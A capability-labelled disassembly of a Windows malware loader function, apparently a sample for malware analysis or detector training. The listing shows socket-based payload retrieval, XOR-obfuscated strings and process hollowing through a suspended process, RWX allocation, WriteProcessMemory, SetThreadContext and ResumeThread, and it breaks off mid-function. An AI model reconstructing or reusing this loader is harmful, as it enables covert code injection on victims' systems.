Function at 0x14000bca0
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Create process on windows
Create process suspended
Create tcp socket
Create thread
Initialize winsock library
Inject thread
Receive data
Receive data on socket
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2230]
mov eax, 0x2330
call fcn.1400263e0
sub rsp, rax
mov rax, qword [0x1400d7060]
xor rax, rsp
mov qword [rbp + 0x2220], rax
mov ecx, 0x1c8
call fcn.140025860
xor edx, edx
mov r8d, 0x1c8
mov rcx, rax
mov rsi, rax
call fcn.14006fde0
lea rdx, [rbp + 0xc40]
call fcn.140002090
mov ecx, 0x202
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000bd44
mov ebx, 2
lea edx, [rax + 1]
mov ecx, ebx
lea r8d, [rax + 6]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsi + 0x1a0], rax
cmp rax, 0xffffffffffffffff
jne 0x14000c03a
call qword [sym.imp.WS2_32.dll_WSACleanup]
movabs r12, 0xeffb2486b8450cc6
movabs rax, 0x84298d59fc9df240
mov qword [rsp + 0x50], rax
movabs rcx, 0x84298d2b93ef8005
mov rax, qword [rsp + 0x50]
movabs rdx, 0x8796c5783863e3ac
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], r12
mov qword [rbp + 0xd30], rax
mov rax, qword [rsp + 0x50]
movdqa xmm0, xmmword [rsp + 0x60]
mov qword [rbp + 0xd38], rax
movabs rax, 0xf009e94eff86e143
pxor xmm0, xmmword [rbp + 0xd30]
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd40], rax
movabs rax, 0x8c9e4ae8d7262ca9
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd48], rax
movabs rax, 0x20bc4519d8482be3
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd50], rax
movabs rax, 0x4b5ae13c27db311e
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd58], rax
movabs rax, 0x52f24b260719c499
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd60], rax
movabs rax, 0x3f4e827782f3e40a
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd68], rax
movabs rax, 0x2e5067e5c1640467
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd70], rax
mov qword [rsp + 0x50], rdx
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd78], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xcd0], rax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xcd8], rax
movabs rax, 0x52d93639b73c0b97
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xce0], rax
movabs rax, 0x3228951c0ba95468
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xce8], rax
movabs rax, 0x379e29477470a0b9
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xcf0], rax
movabs rax, 0x532ff512f09a822a
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xcf8], rax
movabs rax, 0x2e5067e5c164250b
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd00], rax
mov qword [rsp + 0x50], rdx
mov rax, qword [rsp + 0x50]
movdqa xmm0, xmmword [rbp + 0xcd0]
pxor xmm0, xmmword [rbp + 0xd40]
mov qword [rbp + 0xd08], rax
movdqa xmm1, xmmword [rbp + 0xd50]
lea r8, [rsp + 0x60]
pxor xmm1, xmmword [rbp + 0xce0]
lea rdx, [rbp + 0xd40]
movdqa xmmword [rbp + 0xd50], xmm1
mov r9d, reloc.WS2_32.dll_recv
movdqa xmm1, xmmword [rbp + 0xd70]
xor ecx, ecx
pxor xmm1, xmmword [rbp + 0xd00]
movdqa xmmword [rbp + 0xd40], xmm0
movdqa xmm0, xmmword [rbp + 0xd60]
pxor xmm0, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmmword [rbp + 0xd60], xmm0
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ebx, 0xffffffff
mov rdx, qword [rbp + 0xc58]
cmp rdx, 0x10
jb 0x14000c008
mov rcx, qword [rbp + 0xc40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c003
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d115
call fcn.140025aec
mov eax, ebx
mov rcx, qword [rbp + 0x2220]
xor rcx, rsp
call fcn.140025840
lea r11, [rsp + 0x2330]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, str.127.0.0.1
mov word [rsi + 0x1b8], bx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x14c2
mov dword [rsi + 0x1bc], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rsi + 0x1a0]
lea rdx, [rsi + 0x1b8]
mov r8d, reloc.WS2_32.dll_recv
mov word [rsi + 0x1ba], ax
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, qword [rsi + 0x1a0]
cmp eax, 0xffffffff
jne 0x14000c097
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14000bd44
xor ebx, ebx
lea rdx, [rbp + 0x700]
xor r9d, r9d
mov dword [rbp + 0x700], ebx
lea r8d, [rbx + 5]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x14000c0bd
mov r14d, ebx
jmp 0x14000c11c
mov eax, dword [rbp + 0x700]
mov ecx, 0x64
cmp eax, ecx
cmovg eax, ecx
movsxd rcx, eax
mov dword [rbp + 0x700], eax
call fcn.140025af4
movsxd r8, dword [rbp + 0x700]
xor edx, edx
mov rcx, rax
mov r14, rax
call fcn.14006fde0
mov r8d, dword [rbp + 0x700]
xor r9d, r9d
mov rcx, qword [rsi + 0x1a0]
mov rdx, r14
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, dword [rbp + 0x700]
je 0x14000c116
mov r14, rbx
jmp 0x14000c11c
cdqe
mov byte [rax + r14], bl
mov rcx, qword [rsi + 0x1a0]
test rcx, rcx
je 0x14000c12e
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi + 0x198]
test rcx, rcx
je 0x14000c140
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 5
mov qword [rbp], rbx
lea rdx, str.hwid
mov qword [rbp + 0x10], rbx
lea rcx, [rbp]
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
call fcn.140001910
mov r8d, 1
mov qword [rbp - 0x20], rbx
lea rdx, [0x1400cabdc]
mov qword [rbp - 0x10], rbx
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
call fcn.140001910
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
nop
inc r8
cmp byte [r14 + r8], bl
jne 0x14000c1b0
mov rdx, r14
lea rcx, [rbp - 0x40]
call fcn.140001910
movabs rax, 0xe144ec45cc96e56e
movabs r13, 0x84298d2b93ef8005
mov qword [rsp + 0x58], rax
movabs r12, 0xeffb2486b8450cc6
mov rax, qword [rsp + 0x58]
mov r9, 0xffffffffffffffff
mov qword [rbp - 0x80], rax
movabs rax, 0xeffb2486b8450cfb
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x58], r13
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xda0], rax
mov qword [rsp + 0x58], r12
mov rax, qword [rsp + 0x58]
movdqa xmm0, xmmword [rbp - 0x80]
mov qword [rbp + 0xda8], rax
lea rax, [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0xda0]
movdqa xmmword [rbp - 0x80], xmm0
nop dword [rax + rax]
inc r9
cmp byte [rax + r9], bl
jne 0x14000c250
lea r8, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.14000d380
lea r9, [rbp - 0x20]
lea r8, [rbp + 0x68]
lea rcx, [rbp + 0xa8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
movups xmmword [rbp + 0x68], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x78], xmm1
mov byte [rax], bl
call fcn.14000d190
lea r9, [rbp]
lea r8, [rbp + 0xa8]
lea rcx, [rbp + 0x88]
call fcn.14000d190
cmp qword [rbp + 0xc58], 0x10
lea rdx, [rbp + 0xc40]
mov r8, qword [rbp + 0xc50]
lea rcx, [rbp + 0x88]
cmovae rdx, qword [rbp + 0xc40]
call fcn.1400028c0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov rdx, qword [rbp + 0xa0]
movups xmmword [rbp + 0xc20], xmm0
movups xmmword [rbp + 0xc30], xmm1
cmp rdx, 0x10
jb 0x14000c33c
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c337
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d11b
call fcn.140025aec
mov rdx, qword [rbp + 0xc0]
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], bl
cmp rdx, 0x10
jb 0x14000c395
mov rcx, qword [rbp + 0xa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c390
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d11b
call fcn.140025aec
mov rdx, qword [rbp + 0x80]
mov qword [rbp + 0xb8], rbx
mov qword [rbp + 0xc0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa8], bl
cmp rdx, 0x10
jb 0x14000c3eb
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3e6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d11b
call fcn.140025aec
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], bl
cmp rdx, 0x10
jb 0x14000c438
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c433
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d11b
call fcn.140025aec
mov rdx, qword [rbp - 8]
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], bl
cmp rdx, 0x10
jb 0x14000c482
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c47d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d11b
call fcn.140025aec
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], bl
cmp rdx, 0x10
jb 0x14000c4cc
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c4c7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d11b
call fcn.140025aec
cmp qword [rbp + 0xc38], 0x10
lea r15, [rbp + 0xc20]
mov rsi, qword [rbp + 0xc30]
cmovae r15, qword [rbp + 0xc20]
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], bl
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
cmp rsi, 0x10
jae 0x14000c520
movups xmm0, xmmword [r15]
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
movups xmmword [rbp - 0x60], xmm0
jmp 0x14000c5a8
movabs rax, 0x7fffffffffffffff
mov rdi, rsi
or rdi, 0xf
mov qword [rbp + 0xe8], rax
cmp rdi, rax
mov qword [rbp + 0xf0], rdi
cmova rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000c582
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000d121
mov rcx, rax
call fcn.140025860
mov rcx, rax
test rax, rax
je 0x14000d10f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000c591
test rcx, rcx
je 0x14000c58e
call fcn.140025860
jmp 0x14000c591
mov rax, rbx
lea r8, [rsi + 1]
mov qword [rbp - 0x60], rax
mov rdx, r15
mov rcx, rax
call fcn.14006f710
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x50], rsi
movabs rax, 0xab06b758e39bf46d
mov qword [rsp + 0x58], rax
movabs rcx, 0x532ff512f09a822a
mov rax, qword [rsp + 0x58]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x30], rax
movabs rax, 0x9bd514f2d6207aa3
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0x38], rax
movabs rax, 0x36b64449985468f2
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0x40], rax
movabs rax, 0x5346f47154dd371d
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0x48], rax
movabs rax, 0x37ee41375a02c5de
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0x58], rax
mov qword [rsp + 0x58], r13
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xdd0], rax
mov qword [rsp + 0x58], r12
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xdd8], rax
movabs rax, 0x52d93639b73c0b97
movdqa xmm0, xmmword [rbp + 0xdd0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xde0], rax
movabs rax, 0x3228951c0ba95468
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xde8], rax
movabs rax, 0x379e29477470a0b9
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xdf0], rax
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x58]
pxor xmm0, xmmword [rbp + 0x30]
movdqa xmm1, xmmword [rbp + 0x40]
pxor xmm1, xmmword [rbp + 0xde0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm0, xmmword [rbp + 0x50]
mov qword [rbp + 0xdf8], rax
lea rax, [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0xdf0]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmmword [rbp + 0x40], xmm1
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xe0], reloc.WS2_32.dll_ntohs
nop word [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x14000c720
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0xc8]
call fcn.140001910
lea r9, [rbp - 0x60]
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0xc00]
call fcn.14000dcb0
xor r9d, r9d
mov qword [rsp + 0x30], rbx
movabs rdi, 0xf645bb64cfc1dc59
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x58], rdi
lea rcx, [rbp + 0x20]
mov rax, qword [rsp + 0x58]
movabs rsi, 0xeffb2486b84556f6
mov qword [rbp + 0x20], rax
lea r8d, [r9 + 3]
mov qword [rsp + 0x58], rsi
mov edx, 0xc0000000
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x58], r13
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xdb0], rax
mov qword [rsp + 0x58], r12
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xdb8], rax
movdqa xmm0, xmmword [rbp + 0xdb0]
pxor xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000c7e6
call fcn.14000b2f0
mov qword [rsp + 0x58], rdi
lea rcx, [rbp - 0x70]
mov rax, qword [rsp + 0x58]
xor r9d, r9d
mov qword [rbp - 0x70], rax
mov edx, 0xc0000000
mov qword [rsp + 0x58], rsi
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x68], rax
lea r8d, [r9 + 3]
mov qword [rsp + 0x58], r13
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xdc0], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x58], r12
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0xdc8], rax
movdqa xmm0, xmmword [rbp + 0xdc0]
pxor xmm0, xmmword [rbp - 0x70]
mov dword [rsp + 0x28], ebx
movdqa xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14000d08c
mov ecx, 1
call fcn.140025860
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0xc00]
call fcn.140001590
cmp qword [rbp + 0xc18], 0x10
lea rcx, [rbp + 0xc00]
mov qword [rbp + 0xc10], rbx
lea rdx, [0x1400caf10]
cmovae rcx, qword [rbp + 0xc00]
mov r13, rax
mov edi, 4
mov byte [rcx], bl
lea rcx, [rbp + 0x100]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x14000c8c0
xor edx, edx
lea rcx, [rbp + 0x500]
mov r8d, 0x200
call fcn.14006fde0
lea rax, [rbp + 0x300]
lea rcx, [rbp + 0x100]
lea edx, [rdi + 4]
nop dword [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x14000c940
mov rdi, qword [rbp + 0x60]
lea rcx, [rdi - 0x1c]
mov qword [rsp + 0x50], rcx
call fcn.140012f40
mov ecx, ntohl
mov rsi, rax
call fcn.140012f40
movsd xmm0, qword [r13]
lea rdx, [rdi - 0xc]
mov r15, rax
lea r9, [r13 + 0xc]
movsd qword [rax], xmm0
mov ecx, dword [r13 + 8]
mov dword [rax + 8], ecx
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
mov rcx, rsi
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x50]
call fcn.1400151e0
test eax, eax
je 0x14000c9fd
mov rcx, rsi
call fcn.140013060
xor eax, eax
mov rdi, r15
mov ecx, ntohl
rep stosb byte [rdi], al
mov rcx, r15
call fcn.140013060
mov rcx, r13
call fcn.140075410
mov r9, r14
mov qword [rsp + 0x28], rbx
lea r8, [0x14000bae0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xorps xmm1, xmm1
mov word [rsp + 0x70], bx
xor eax, eax
lea rdx, [rbp + 0xe00]
xorps xmm0, xmm0
mov qword [rbp + 0x718], rax
mov r8d, 0x208
mov qword [rbp + 0xcc0], rax
xor ecx, ecx
movups xmmword [rbp + 0x708], xmm0
movups xmmword [rbp + 0xc60], xmm1
movups xmmword [rbp + 0xc70], xmm1
movups xmmword [rbp + 0xc80], xmm1
movups xmmword [rbp + 0xc90], xmm1
movups xmmword [rbp + 0xca0], xmm1
movups xmmword [rbp + 0xcb0], xmm1
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
lea rcx, [rbp + 0x1010]
mov r8d, 0x1208
call fcn.14006fde0
lea rax, [rbp + 0xe00]
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], bx
jne 0x14000cac0
add rdi, rdi
lea rdx, [rbp + 0xe00]
mov r8, rdi
lea rcx, [rbp + 0x1010]
call fcn.14006f710
movsxd r15, dword [rsi + 0x3c]
add r15, rsi
mov dword [rbp + rdi + 0x1010], Ordinal_41
cmp dword [r15], 0x4550
jne 0x14000ccb8
lea rax, [rbp + 0x708]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1010]
lea rax, [rbp + 0xc60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000ccb8
xor edx, edx
lea rcx, [rbp + 0x730]
mov r8d, 0x4d0
call fcn.14006fde0
mov rcx, qword [rbp + 0x710]
lea rdx, [rbp + 0x730]
mov dword [rbp + 0x760], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbp + 0x708]
test eax, eax
je 0x14000ccb0
mov r8d, dword [r15 + 0x50]
mov r9d, 0x3000
mov rdx, qword [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rbp + 0x708]
mov qword [rbp + 0x720], rax
test rax, rax
je 0x14000ccb0
mov r9d, dword [r15 + 0x54]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000cca9
mov rdi, rbx
cmp bx, word [r15 + 6]
jae 0x14000cc40
mov r14, rbx
nop
movsxd rax, dword [rsi + 0x3c]
mov rcx, qword [rbp + 0x708]
add rax, rsi
mov qword [rsp + 0x20], rbx
mov r8d, dword [rax + r14 + 0x11c]
mov edx, dword [rax + r14 + 0x114]
add r8, rsi
add rdx, qword [rbp + 0x720]
mov r9d, dword [rax + r14 + 0x118]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000cca9
movzx eax, word [r15 + 6]
inc rdi
add r14, 0x28
cmp rdi, rax
jb 0x14000cbf0
mov rdx, qword [rbp + 0x7b8]
lea r8, [rbp + 0x720]
mov rcx, qword [rbp + 0x708]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000cca9
mov eax, dword [r15 + 0x28]
lea rdx, [rbp + 0x730]
add rax, qword [rbp + 0x720]
mov rcx, qword [rbp + 0x710]
mov qword [rbp + 0x7b0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x14000cca9
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x14000ccf3
mov rcx, qword [rbp + 0x708]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
setne al
test al, al
je 0x14000ccf3
mov rcx, rsi
call fcn.140013060
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x708]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xffffffff
jmp 0x14000d08c
mov rcx, rsi
call fcn.140013060
movabs rax, 0x8429bd5ffd8af640
movabs rcx, 0x84298d2b93ef8005
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], r12
mov qword [rbp + 0xd30], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd38], rax
movabs rax, 0xf05bec5fc0cfae34
movdqa xmm0, xmmword [rbp + 0xd30]
pxor xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xcd0], rax
movabs rax, 0xc1c92ee3d5246be6
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xcd8], rax
movabs rax, 0x3af9454ad24e5bb7
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xce0], rax
movabs rax, 0x1251f0772bcc3907
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xce8], rax
movabs rax, 0x17fb44261350ced0
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xcf0], rax
movabs rax, 0x7301c61885f4e747
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xcf8], rax
movabs rax, 0x5c20478ab5444a4c
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd00], rax
movabs rax, 0xf5b6a01b511780cd
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd08], rax
movabs rax, 0x9824b491844a9cc
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd10], rax
movabs rax, 0xaf745691fe7551eb
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd18], rax
movabs rax, 0xd45a1bdfe9ac1190
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd20], rax
movabs rax, 0x971e7bd47941bd45
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd28], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd40], rax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd48], rax
movabs rax, 0x52d93639b73c0b97
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd50], rax
movabs rax, 0x3228951c0ba95468
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd58], rax
movabs rax, 0x379e29477470a0b9
lea r8, [rsp + 0x60]
mov qword [rsp + 0x50], rax
movabs rdx, 0x8796c5783863e3ac
mov rax, qword [rsp + 0x50]
mov r9d, 0x30
mov qword [rbp + 0xd60], rax
xor ecx, ecx
movabs rax, 0x532ff512f09a822a
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd68], rax
movabs rax, 0x2e5067e5c164250b
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
